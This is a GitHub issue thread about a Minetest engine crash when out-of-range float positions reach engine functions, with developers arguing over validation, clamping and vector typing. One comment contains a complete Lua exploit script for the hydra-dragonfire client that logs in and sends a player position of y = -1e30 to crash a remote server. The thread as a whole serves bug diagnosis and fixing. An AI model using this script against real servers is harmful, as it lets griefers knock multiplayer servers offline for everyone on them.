-
Notifications
You must be signed in to change notification settings - Fork 2.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Giving float vector with x outside of -2.14748e+06 < x < 2.14748e+06 as a function argument crashes server & Minetest returns such vectors #11742
Comments
Is there no Lua stack traceback? |
Nope, it just crashes after displaying the message from the log. |
@sfan5 this issue is not only about dropping items. Mineclonia, for example, sometimes crashes without the user having to drop an item (not reliably though), because
|
I have changed the title of the issue so that it is clear that this has nothing to do with dropping items by itself, but with functions creating float vectors not checking their inputs properly. |
Well what should the engine do when given invalid data? The error is a result of functions "checking their inputs properly" and aborting safely. |
@sfan5 I looked at the specific function in Mineclonia and it seems to me as if the problem is that
|
What should Minetest do? Clamp the position values to the map dimensions in all cases? It is not possible to remove this check, as going over this limit would make the entity storing unpredictable (integer overflow). For reference: |
There are two possible arguments to be made here:
|
How could the Lua code do that? I would naively expect a validation function to trigger a crash too.
A vast majority of actions outside of map boundaries are working find and are not going to cause a crash. What I explicitly reject is clamping player or entity positions to map boundaries. The problem here though seems to be exceeding the boundaries of the underlying data type – the float vector for the player position. Making sure using a float vector does not cause a crash could involve clamping every read of it to the limits of the actual data type – while keeping the crashing behaviour when encountering an invalid float vector creation to ensure it is sanitized correctly. |
Possibly related issues:
As seen here, this also can happen with other functions, e.g. particle spawners: |
??? 2.14748e+06 is about 2²¹, this fits fine in a float, double (Lua numbers are double) or even an int.
Well that is of no relevance here. The map can only possibly go until 32768. The error message complains about exceeding 2147480.
Of course. Any function that takes positions can throw this error message. |
I suspect the multiplication and division of the internal position with the value of @sfan5 could push_v3f maybe be changed to clamp the value to the posted limits (of F1000_MIN and F1000_MAX) and issue a warning instead of crashing? |
Sure it could but that is exactly what I characterized as undesirable in #11742 (comment). |
can this be checked adn solved without upgrading the engine? some of us runs stable versions due upgrading are a mess (many runs 5.2 and i have one with 0.4.17) |
I see. That means the code must not give the validation function the vector, but the components of it!
“Safely stored” in what format though? Also, why are the limits for float vector components not the limits of the actual float data type? Are entity positions cast down to more narrow data types at some point? |
Second part of #11742 (comment) . |
just teleport to the worldedge and fly out to some coord=32767 and it will be enough to cause a crash. |
@MistUnky that might be a different issue. With what message does it crash for you in which game? |
@erlehmann |
cnfirmed using rspawn mod.. with hole server.. i must fixed the vaste limits to less thatn edge world to workaround this problem.. but other mods has it .. ethereal i suspect crash due that! |
Mineclonia has a report of a player managing to do this using the @anon5 minetest network library code: https://git.minetest.land/Mineclonia/Mineclonia/issues/201
|
Whatever happens at that boundary must be a different crash due to how this one works. |
I think the problem here is that minetest can give a player position that is not serialize-able and employs a poorly constructed ad-hoc approach to verification. A solution could be: a) Ensure that all positions roundtrip through serialization and deserialization. There exist only a limited number of floats in the interval -2.14748e+06 < x < 2.14748e+06, so it is possible to unit test them all (computers are fast). b) Whenever the engine outputs a position, check that it conforms to the range and emit a warning if it does not. c) Do not crash (but warn instead) if the value does not fit into the range given. I am not so sure about this. |
@erlehmann
The 32-bit float values are converted into unsigned 32-bit integers. I think the choice here is that a 32-bit float could be converted into a hexadecimal representation (using IEEE-745) but that it would likely be much slower to do this than just using the current FIXED_POINT conversion to an unsigned 32-bit value.
Throwing a warning in the CHECK_FLOAT_RANGE function wouldn't really help since this function cannot do anything about it (as it is used as helper by other functions to check for an exceptional error condition). If a warning were generated, it will likely just crash in some other random location -- and it is best to make it crash as early as possible (to avoid damage, corruption, etc). |
We had something similar, I only throw it in for completeness. It happened when a player was struck with the sudden inspiration to drop a petz/mobkit pony on a trampoline. Bouncy bouncy boom:
For my reference 1476 |
Exploit has been posted which shows this can be triggered via network |
#!/usr/bin/env hydra-dragonfire
-- Vulnerable: Minetest
-- Crashes the server by teleporting out of bounds
-- Usage: ./bounds-crash.lua <server>
math.randomseed(os.time() * os.clock())
local name = "Player" .. math.random(1e5, 1e6 - 1)
local client = hydra.client(arg[1])
client:enable("auth")
client.auth:username(name)
client.auth:password(name)
client.auth:version("")
client:subscribe("move_player")
client:connect()
local pkt = client:poll()
if pkt then
local pos = pkt.pos / hydra.BS
pos.y = -1e30
client:send("player_pos", {
pos = {
pos100 = pos * hydra.BS * 100,
vel100 = vec3(0),
pitch100 = 0,
yaw100 = 0,
keys = {},
fov80 = 0,
wanted_range = 0,
}
})
end
client:close() |
The issue title is still wrong by the way, creating a vector outside of the given range does nothing at all. |
Would it make sense to add a wrapper function that clamps the floats and only use the wrapper where it's needed? |
Indeed – that is my mistake. IIRC giving the vector it as argument to a function actually crashes the game.
I think it is because people do not understand that this issue boils down to a typing error. (Instead, they try to comprehend the issue in terms of “how could this crash Minetest”.) Therefore, they try to fix it through poorly-constructed ad-hoc validation or clamping. IMO this is a type error – different parts of the code represent different ideas about what a vector can be. Therefore, the correct way is not more sanitization – the correct way is to make an “invalid vector” unrepresentable. |
I am not interested in edit wars over issue titles so we'll just close this. |
Minetest version
commit 80d12db
using irrlicht 1.9.0mt2
using lua 5.1.5
OS / Hardware
Operating system: x86_64
CPU: Intel something
Summary
Note that being that far out of bounds as a player is not an issue per se – in fact, the “obvious” fix of limiting player positions to being inside mapgen boundaries by teleporting or pushing them inside or killing them would both not fix the underlying issue, break existing setups (there exist servers where players, structures, and entities existing out of bounds of the map generator is part of the normal gameplay – singlenode museums would be affected, for example) and is likely to introduce at least one exploitable bug (try to figure it out, but do not say I did not warn you). Not allowing players to drop items out of bounds will also not fix the underlying issue.
The code should simply not crash at this point, but issue a warning.
Steps to reproduce
There exists at least one way to get to such coordinates as a player without fiddling with the server player database (and a few more ways that I suspect, but have not verified), which I do not want to reveal here for the obvious reasons that a) it is not necessary to understand the issue b) griefers would probably start crashing minetest servers c) I want developers to fix the problem, not just remove the way that I used to trigger it.
The text was updated successfully, but these errors were encountered: